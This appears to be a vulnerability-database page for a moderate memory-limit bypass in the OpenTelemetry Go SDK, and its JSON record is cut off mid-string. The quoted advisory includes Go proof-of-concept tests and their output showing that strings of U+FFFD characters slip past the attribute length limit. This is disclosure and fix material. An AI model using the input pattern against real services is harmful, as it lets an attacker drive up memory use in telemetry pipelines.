Vulnerabilities in pkg:golang/go.opentelemetry.io/otel/sdk

PACKAGE
Advisory Identifier: GHSA-q7gw-24fr-5p69
Advisory Summary

CVE-2026-128085 is a MODERATE (CVSS 5.3) attributevaluelengthlimit is fully bypassed by vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting opentelemetry-go libraries in the Go ecosystem. The issue involves attributevaluelengthlimit is fully bypassed by attribute values composed of valid u+fffd runes. Remediation is available by upgrading affected packages to version 1.47.0.

5 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/go.opentelemetry.io/otel/sdk

5 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/go.opentelemetry.io/otel/sdk. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-q7gw-24fr-5p69 CVE-2026-128085 MODERATE opentelemetry-go: AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes
GHSA-p9f8-wvj8-2fg8 CVE-2026-81869 MODERATE OpenTelemetry-Go: UTF-8 replacement rune bypasses attribute length truncation
GHSA-8wmf-6v46-5gfg CVE-2026-81870 LOW OpenTelemetry-Go: Exporter config logging may leak endpoint URLs in info logs
GHSA-hfvc-g4fc-pqhx CVE-2026-39883 HIGH opentelemetry-go: BSD kenv command not using absolute path enables PATH hijacking
GHSA-9h8m-3fm2-qjrq CVE-2026-24051 HIGH OpenTelemetry Go SDK Vulnerable to Arbitrary Code Execution via PATH Hijacking

CVE-2026-128085 at a Glance

CVE Identifier CVE-2026-128085
GHSA Identifier GHSA-q7gw-24fr-5p69
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product opentelemetry-go
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-128085

To remediate this vulnerability, upgrade all affected opentelemetry-go dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

go.opentelemetry.io/otel/sdk fixed: 1.47.0
Upgrade go.opentelemetry.io/otel/sdk to 1.47.0
go.opentelemetry.io/otel/sdk/log fixed: 1.47.0
Upgrade go.opentelemetry.io/otel/sdk/log to 1.47.0
go.opentelemetry.io/otel/trace fixed: 1.47.0
Upgrade go.opentelemetry.io/otel/trace to 1.47.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for go.opentelemetry.io/otel/sdk

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-128085, inspect your project dependencies for opentelemetry-go:

inspect dependencies for go.opentelemetry.io/otel/sdk

Analyze the terminal output to locate any version of opentelemetry-go in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.47.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In opentelemetry-go, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `AttributeValueLengthLimit` span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit `e016a78c9`, first released in v1.33.0) has an "optimistic" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in `go.opentelemetry.io/otel/sdk/trace` (`sdk/internal/attrnorm`), `go.opentelemetry.io/otel/sdk/log` (`sdk/log/internal/attrnorm`), and the auto-instrumentation tracer in `go.opentelemetry.io/otel/trace` (`trace/auto.go`, introduced in `v1.35.0`). This is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code. ## Details The shared truncation helper is generated from `internal/shared/attrnorm/truncate.go.tmpl`. In the v1.46.0 release, the generated copies are `sdk/internal/attrnorm/truncate.go` and `sdk/log/internal/attrnorm/truncate.go` (identical logic, different package names). The optimistic path (v1.46.0, `sdk/internal/attrnorm/truncate.go:175-199`) is: ```go // Optimistically, assume all valid UTF-8. var b strings.Builder count := 0 for i, c := range s { if c != utf8.RuneError { count++ if count > limit { return s[:i] } continue } _, size := utf8.DecodeRuneInString(s[i:]) if size == 1 { // invalid encoding: fall through to the correct slow path ... break } } ``` `range` over a string yields `utf8.RuneError` both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences: 1. A value made only of valid U+FFFD runes never increments `count`, so no truncation ever triggers and the value is returned unchanged, whatever its length. 2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final `return s[:i]` keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by `limit`. The OpenTelemetry specification states that truncation applies "counting any character in it as 1". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed. Call chains (v1.46.0): - trace: `span.SetAttributes` -> `sdk/trace/span.go` (`normAttr`) -> `attrnorm.Truncate` -> `sdk/internal/attrnorm/truncate.go` (`truncate`) - log: `Record.AddAttributes` / `SetAttributes` -> `sdk/log/record.go` (`attrnorm.TruncateValue`) -> `sdk/log/internal/attrnorm/truncate.go` (`truncate`) Deduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (`safeTruncateValidUTF8`), which gave up truncating entirely for strings containing RuneError. The rewrite in `e016a78c9` replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it. ## PoC Minimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares `go 1.25.0`; any recent toolchain auto-selects one). Create a directory with these files. `go.mod` (then run `go mod tidy` once to fill `go.sum`): ``` module otelpoc go 1.25.0 require ( go.opentelemetry.io/otel v1.46.0 go.opentelemetry.io/otel/log v0.22.0 go.opentelemetry.io/otel/sdk v1.46.0 go.opentelemetry.io/otel/sdk/log v0.22.0 go.opentelemetry.io/otel/trace v1.46.0 ) ``` `otelgo_truncate_test.go`: ```go package otelpoc import ( "context" "strings" "testing" "unicode/utf8" "go.opentelemetry.io/otel/attribute" sdktrace "go.opentelemetry.io/otel/sdk/trace" "go.opentelemetry.io/otel/sdk/trace/tracetest" "go.opentelemetry.io/otel/trace" ) // limitsWithLen returns span limits with AttributeValueLengthLimit=limit and // everything else unlimited, isolating the length-limit enforcement under test. func limitsWithLen(limit int) sdktrace.SpanLimits { lim := sdktrace.NewSpanLimits() lim.AttributeValueLengthLimit = limit lim.AttributeCountLimit = -1 lim.AttributePerEventCountLimit = -1 lim.AttributePerLinkCountLimit = -1 lim.EventCountLimit = -1 lim.LinkCountLimit = -1 return lim } func captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue { t.Helper() sr := tracetest.NewSpanRecorder() tp := sdktrace.NewTracerProvider( sdktrace.WithSpanProcessor(sr), sdktrace.WithSpanLimits(limitsWithLen(limit)), ) defer func() { _ = tp.Shutdown(context.Background()) }() tr := tp.Tracer("poc") _, span := tr.Start(context.Background(), "op") span.SetAttributes(attrs...) span.End() ended := sr.Ended() if len(ended) != 1 { t.Fatalf("expected 1 ended span, got %d", len(ended)) } return ended[0].Attributes() } // TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string // attribute composed of valid U+FFFD runes is stored completely untruncated // although AttributeValueLengthLimit=5. func TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) { const limit = 5 val := strings.Repeat("\uFFFD", 1000) // 1000 chars, 3000 bytes got := captureOneSpan(t, limit, attribute.String("k", val)) if len(got) != 1 { t.Fatalf("expected 1 attribute, got %d", len(got)) } stored := got[0].Value.AsString() t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(val), len(val), utf8.RuneCountInString(stored), len(stored), limit) // Per OTel spec ("counting any character in it as 1") the stored value // must be at most `limit` characters (<= 15 bytes for U+FFFD). if maxBytes := 3 * limit; len(stored) > maxBytes { t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)", limit, len(stored), maxBytes) } } // TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes // are not counted in the optimistic truncation path: every U+FFFD adds 3 // uncounted bytes to the retained value. func TestOT001_FFFDMixedStringOverRetains(t *testing.T) { const limit = 5 val := strings.Repeat("\uFFFD", 100) + strings.Repeat("A", 6) // 106 chars, 306 bytes got := captureOneSpan(t, limit, attribute.String("k", val)) stored := got[0].Value.AsString() t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(val), len(val), utf8.RuneCountInString(stored), len(stored), limit) if chars := utf8.RuneCountInString(stored); chars > limit { t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored", limit, chars, len(stored)) } } // TestOT001_ASCIIControl is the control case: plain ASCII over-limit values // ARE truncated, proving the length limit is active in the same setup. func TestOT001_ASCIIControl(t *testing.T) { const limit = 5 val := strings.Repeat("B", 20) got := captureOneSpan(t, limit, attribute.String("k", val)) stored := got[0].Value.AsString() t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(val), len(val), utf8.RuneCountInString(stored), len(stored), limit) if len(stored) != limit { t.Fatalf("control failed: ASCII value not truncated (stored %d bytes)", len(stored)) } } // TestOT001_EventAttributesNotLengthTruncated documents that span-event // attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate // call in recordingSpan.addEvent). func TestOT001_EventAttributesNotLengthTruncated(t *testing.T) { const limit = 5 val := strings.Repeat("C", 100) sr := tracetest.NewSpanRecorder() tp := sdktrace.NewTracerProvider( sdktrace.WithSpanProcessor(sr), sdktrace.WithSpanLimits(limitsWithLen(limit)), ) defer func() { _ = tp.Shutdown(context.Background()) }() tr := tp.Tracer("poc") _, span := tr.Start(context.Background(), "op") span.AddEvent("ev", trace.WithAttributes(attribute.String("k", val))) span.End() ended := sr.Ended() events := ended[0].Events() if len(events) != 1 { t.Fatalf("expected 1 event, got %d", len(events)) } stored := events[0].Attributes[0].Value.AsString() t.Logf("event attribute input: %d bytes; stored: %d bytes; limit=%d", len(val), len(stored), limit) if len(stored) > limit { t.Logf("CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)", len(stored), limit) } } ``` (The `-run` pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.) `otelgo_log_truncate_test.go`: ```go package otelpoc import ( "context" "strings" "sync" "testing" "unicode/utf8" "go.opentelemetry.io/otel/attribute" apisdk "go.opentelemetry.io/otel/log" sdklog "go.opentelemetry.io/otel/sdk/log" ) type captureProcessor struct { mu sync.Mutex recs []*sdklog.Record } func (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true } func (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error { c.mu.Lock() defer c.mu.Unlock() clone := r.Clone() c.recs = append(c.recs, &clone) return nil } func (c *captureProcessor) Shutdown(context.Context) error { return nil } func (c *captureProcessor) ForceFlush(context.Context) error { return nil } // TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against // the sdk/log attribute path (sdk/log/internal/attrnorm, same template). func TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) { const limit = 5 cp := &captureProcessor{} lp := sdklog.NewLoggerProvider( sdklog.WithProcessor(cp), sdklog.WithAttributeValueLengthLimit(limit), ) defer func() { _ = lp.Shutdown(context.Background()) }() logger := lp.Logger("poc") var r apisdk.Record r.SetSeverity(apisdk.SeverityInfo) r.AddAttributes(attribute.String("k", strings.Repeat("\uFFFD", 1000))) logger.Emit(context.Background(), r) cp.mu.Lock() if len(cp.recs) != 1 { t.Fatalf("expected 1 record, got %d", len(cp.recs)) } rec := cp.recs[0] cp.mu.Unlock() stored := "" rec.WalkAttributes(func(kv attribute.KeyValue) bool { if string(kv.Key) == "k" { stored = kv.Value.AsString() } return true }) t.Logf("sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d", utf8.RuneCountInString(stored), len(stored), limit) if maxBytes := 3 * limit; len(stored) > maxBytes { t.Fatalf("BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)", limit, len(stored), maxBytes) } } ``` Run: ``` go mod tidy go test -count=1 -v -run "TestOT001_FFFDOnlyStringBypassesTraceLengthLimit|TestOT001_FFFDMixedStringOverRetains|TestOT001_ASCIIControl|TestOT001_FFFDOnlyStringBypassesLogLengthLimit" . ``` Expected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the `FAIL otelpoc` summary line): ``` === RUN TestOT001_FFFDOnlyStringBypassesLogLengthLimit otelgo_log_truncate_test.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5 otelgo_log_truncate_test.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15) --- FAIL: TestOT001_FFFDOnlyStringBypassesLogLengthLimit (0.00s) === RUN TestOT001_FFFDOnlyStringBypassesTraceLengthLimit otelgo_truncate_test.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5 otelgo_truncate_test.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15) --- FAIL: TestOT001_FFFDOnlyStringBypassesTraceLengthLimit (0.00s) === RUN TestOT001_FFFDMixedStringOverRetains otelgo_truncate_test.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5 otelgo_truncate_test.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored --- FAIL: TestOT001_FFFDMixedStringOverRetains (0.00s) === RUN TestOT001_ASCIIControl otelgo_truncate_test.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5 --- PASS: TestOT001_ASCIIControl (0.00s) FAIL FAIL otelpoc 0.059s FAIL ``` The mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters. ## Impact Applications that enable `AttributeValueLengthLimit` (or `WithAttributeValueLengthLimit` for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected. ## Suggested fix In the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current `truncate_test.go` has no U+FFFD case).

CVE-2026-128085 Affected opentelemetry-go Versions

3 component(s)
Fixed Versions:
1.47.0
Product / Package Ecosystem Affected Versions Fixed Version
go.opentelemetry.io/otel/sdk
Go
≥ 1.33.0
< 1.47.0
1.47.0
go.opentelemetry.io/otel/sdk/log
Go
≥ 0.9.0
< 1.47.0
1.47.0
go.opentelemetry.io/otel/trace
Go
≥ 1.35.0
< 1.47.0
1.47.0

References

Frequently Asked Questions

What is CVE-2026-128085?
CVE-2026-128085 is a security vulnerability in opentelemetry-go involving AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes under CWE-770: Allocation of Resources Without Limits or Throttling.
Which opentelemetry-go versions are affected?
Affected versions include releases prior to 1.47.0 across affected packages: go.opentelemetry.io/otel/sdk, go.opentelemetry.io/otel/sdk/log, go.opentelemetry.io/otel/trace.
What version fixes CVE-2026-128085?
Upgrading to 1.47.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is go.opentelemetry.io/otel/sdk affected?
Yes, go.opentelemetry.io/otel/sdk is affected in releases prior to 1.47.0. Upgrade your dependency to 1.47.0 or later.
Is go.opentelemetry.io/otel/sdk/log affected?
Yes, go.opentelemetry.io/otel/sdk/log is affected in releases prior to 1.47.0. Upgrade your dependency to 1.47.0 or later.
What is the CVSS score of CVE-2026-128085?
CVE-2026-128085 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-128085?
CVE-2026-128085 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for CVE-2026-128085?
Run the dependency tree command: 'inspect dependencies for go.opentelemetry.io/otel/sdk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q7gw-24fr-5p69",
  "modified" : "2026-11-13T19:00:56Z",
  "published" : "2026-11-13T19:00:55Z",
  "aliases" : [ "CVE-2026-128085" ],
  "summary" : "opentelemetry-go: AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes",
  "details" : "## Summary\n\nThe `AttributeValueLengthLimit` span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit `e016a78c9`, first released in v1.33.0) has an \"optimistic\" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in `go.opentelemetry.io/otel/sdk/trace` (`sdk/internal/attrnorm`), `go.opentelemetry.io/otel/sdk/log` (`sdk/log/internal/attrnorm`), and the auto-instrumentation tracer in `go.opentelemetry.io/otel/trace` (`trace/auto.go`, introduced in `v1.35.0`).\n\nThis is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code.\n\n## Details\n\nThe shared truncation helper is generated from `internal/shared/attrnorm/truncate.go.tmpl`. In the v1.46.0 release, the generated copies are `sdk/internal/attrnorm/truncate.go` and `sdk/log/internal/attrnorm/truncate.go` (identical logic, different package names). The optimistic path (v1.46.0, `sdk/internal/attrnorm/truncate.go:175-199`) is:\n\n```go\n// Optimistically, assume all valid UTF-8.\nvar b strings.Builder\ncount := 0\nfor i, c := range s {\n    if c != utf8.RuneError {\n        count++\n        if count > limit {\n            return s[:i]\n        }\n        continue\n    }\n    _, size := utf8.DecodeRuneInString(s[i:])\n    if size == 1 {\n        // invalid encoding: fall through to the correct slow path\n        ...\n        break\n    }\n}\n```\n\n`range` over a string yields `utf8.RuneError` both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences:\n\n1. A value made only of valid U+FFFD runes never increments `count`, so no truncation ever triggers and the value is returned unchanged, whatever its length.\n2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final `return s[:i]` keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by `limit`.\n\nThe OpenTelemetry specification states that truncation applies \"counting any character in it as 1\". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed.\n\nCall chains (v1.46.0):\n\n- trace: `span.SetAttributes` -> `sdk/trace/span.go` (`normAttr`) -> `attrnorm.Truncate` -> `sdk/internal/attrnorm/truncate.go` (`truncate`)\n- log: `Record.AddAttributes` / `SetAttributes` -> `sdk/log/record.go` (`attrnorm.TruncateValue`) -> `sdk/log/internal/attrnorm/truncate.go` (`truncate`)\n\nDeduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (`safeTruncateValidUTF8`), which gave up truncating entirely for strings containing RuneError. The rewrite in `e016a78c9` replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it.\n\n## PoC\n\nMinimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares `go 1.25.0`; any recent toolchain auto-selects one).\n\nCreate a directory with these files.\n\n`go.mod` (then run `go mod tidy` once to fill `go.sum`):\n\n```\nmodule otelpoc\n\ngo 1.25.0\n\nrequire (\n\tgo.opentelemetry.io/otel v1.46.0\n\tgo.opentelemetry.io/otel/log v0.22.0\n\tgo.opentelemetry.io/otel/sdk v1.46.0\n\tgo.opentelemetry.io/otel/sdk/log v0.22.0\n\tgo.opentelemetry.io/otel/trace v1.46.0\n)\n```\n\n`otelgo_truncate_test.go`:\n\n```go\npackage otelpoc\n\nimport (\n\t\"context\"\n\t\"strings\"\n\t\"testing\"\n\t\"unicode/utf8\"\n\n\t\"go.opentelemetry.io/otel/attribute\"\n\tsdktrace \"go.opentelemetry.io/otel/sdk/trace\"\n\t\"go.opentelemetry.io/otel/sdk/trace/tracetest\"\n\t\"go.opentelemetry.io/otel/trace\"\n)\n\n// limitsWithLen returns span limits with AttributeValueLengthLimit=limit and\n// everything else unlimited, isolating the length-limit enforcement under test.\nfunc limitsWithLen(limit int) sdktrace.SpanLimits {\n\tlim := sdktrace.NewSpanLimits()\n\tlim.AttributeValueLengthLimit = limit\n\tlim.AttributeCountLimit = -1\n\tlim.AttributePerEventCountLimit = -1\n\tlim.AttributePerLinkCountLimit = -1\n\tlim.EventCountLimit = -1\n\tlim.LinkCountLimit = -1\n\treturn lim\n}\n\nfunc captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue {\n\tt.Helper()\n\tsr := tracetest.NewSpanRecorder()\n\ttp := sdktrace.NewTracerProvider(\n\t\tsdktrace.WithSpanProcessor(sr),\n\t\tsdktrace.WithSpanLimits(limitsWithLen(limit)),\n\t)\n\tdefer func() { _ = tp.Shutdown(context.Background()) }()\n\n\ttr := tp.Tracer(\"poc\")\n\t_, span := tr.Start(context.Background(), \"op\")\n\tspan.SetAttributes(attrs...)\n\tspan.End()\n\n\tended := sr.Ended()\n\tif len(ended) != 1 {\n\t\tt.Fatalf(\"expected 1 ended span, got %d\", len(ended))\n\t}\n\treturn ended[0].Attributes()\n}\n\n// TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string\n// attribute composed of valid U+FFFD runes is stored completely untruncated\n// although AttributeValueLengthLimit=5.\nfunc TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"\\uFFFD\", 1000) // 1000 chars, 3000 bytes\n\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\n\tif len(got) != 1 {\n\t\tt.Fatalf(\"expected 1 attribute, got %d\", len(got))\n\t}\n\tstored := got[0].Value.AsString()\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(val), len(val),\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\t// Per OTel spec (\"counting any character in it as 1\") the stored value\n\t// must be at most `limit` characters (<= 15 bytes for U+FFFD).\n\tif maxBytes := 3 * limit; len(stored) > maxBytes {\n\t\tt.Fatalf(\"BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)\",\n\t\t\tlimit, len(stored), maxBytes)\n\t}\n}\n\n// TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes\n// are not counted in the optimistic truncation path: every U+FFFD adds 3\n// uncounted bytes to the retained value.\nfunc TestOT001_FFFDMixedStringOverRetains(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"\\uFFFD\", 100) + strings.Repeat(\"A\", 6) // 106 chars, 306 bytes\n\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\n\tstored := got[0].Value.AsString()\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(val), len(val),\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\tif chars := utf8.RuneCountInString(stored); chars > limit {\n\t\tt.Fatalf(\"BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored\",\n\t\t\tlimit, chars, len(stored))\n\t}\n}\n\n// TestOT001_ASCIIControl is the control case: plain ASCII over-limit values\n// ARE truncated, proving the length limit is active in the same setup.\nfunc TestOT001_ASCIIControl(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"B\", 20)\n\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\n\tstored := got[0].Value.AsString()\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(val), len(val),\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\tif len(stored) != limit {\n\t\tt.Fatalf(\"control failed: ASCII value not truncated (stored %d bytes)\", len(stored))\n\t}\n}\n\n// TestOT001_EventAttributesNotLengthTruncated documents that span-event\n// attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate\n// call in recordingSpan.addEvent).\nfunc TestOT001_EventAttributesNotLengthTruncated(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"C\", 100)\n\n\tsr := tracetest.NewSpanRecorder()\n\ttp := sdktrace.NewTracerProvider(\n\t\tsdktrace.WithSpanProcessor(sr),\n\t\tsdktrace.WithSpanLimits(limitsWithLen(limit)),\n\t)\n\tdefer func() { _ = tp.Shutdown(context.Background()) }()\n\ttr := tp.Tracer(\"poc\")\n\t_, span := tr.Start(context.Background(), \"op\")\n\tspan.AddEvent(\"ev\", trace.WithAttributes(attribute.String(\"k\", val)))\n\tspan.End()\n\n\tended := sr.Ended()\n\tevents := ended[0].Events()\n\tif len(events) != 1 {\n\t\tt.Fatalf(\"expected 1 event, got %d\", len(events))\n\t}\n\tstored := events[0].Attributes[0].Value.AsString()\n\tt.Logf(\"event attribute input: %d bytes; stored: %d bytes; limit=%d\", len(val), len(stored), limit)\n\tif len(stored) > limit {\n\t\tt.Logf(\"CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)\", len(stored), limit)\n\t}\n}\n```\n\n(The `-run` pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.)\n\n`otelgo_log_truncate_test.go`:\n\n```go\npackage otelpoc\n\nimport (\n\t\"context\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"unicode/utf8\"\n\n\t\"go.opentelemetry.io/otel/attribute\"\n\tapisdk \"go.opentelemetry.io/otel/log\"\n\tsdklog \"go.opentelemetry.io/otel/sdk/log\"\n)\n\ntype captureProcessor struct {\n\tmu   sync.Mutex\n\trecs []*sdklog.Record\n}\n\nfunc (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true }\n\nfunc (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\tclone := r.Clone()\n\tc.recs = append(c.recs, &clone)\n\treturn nil\n}\n\nfunc (c *captureProcessor) Shutdown(context.Context) error { return nil }\nfunc (c *captureProcessor) ForceFlush(context.Context) error {\n\treturn nil\n}\n\n// TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against\n// the sdk/log attribute path (sdk/log/internal/attrnorm, same template).\nfunc TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) {\n\tconst limit = 5\n\tcp := &captureProcessor{}\n\tlp := sdklog.NewLoggerProvider(\n\t\tsdklog.WithProcessor(cp),\n\t\tsdklog.WithAttributeValueLengthLimit(limit),\n\t)\n\tdefer func() { _ = lp.Shutdown(context.Background()) }()\n\n\tlogger := lp.Logger(\"poc\")\n\tvar r apisdk.Record\n\tr.SetSeverity(apisdk.SeverityInfo)\n\tr.AddAttributes(attribute.String(\"k\", strings.Repeat(\"\\uFFFD\", 1000)))\n\tlogger.Emit(context.Background(), r)\n\n\tcp.mu.Lock()\n\tif len(cp.recs) != 1 {\n\t\tt.Fatalf(\"expected 1 record, got %d\", len(cp.recs))\n\t}\n\trec := cp.recs[0]\n\tcp.mu.Unlock()\n\n\tstored := \"\"\n\trec.WalkAttributes(func(kv attribute.KeyValue) bool {\n\t\tif string(kv.Key) == \"k\" {\n\t\t\tstored = kv.Value.AsString()\n\t\t}\n\t\treturn true\n\t})\n\tt.Logf(\"sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\tif maxBytes := 3 * limit; len(stored) > maxBytes {\n\t\tt.Fatalf(\"BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected 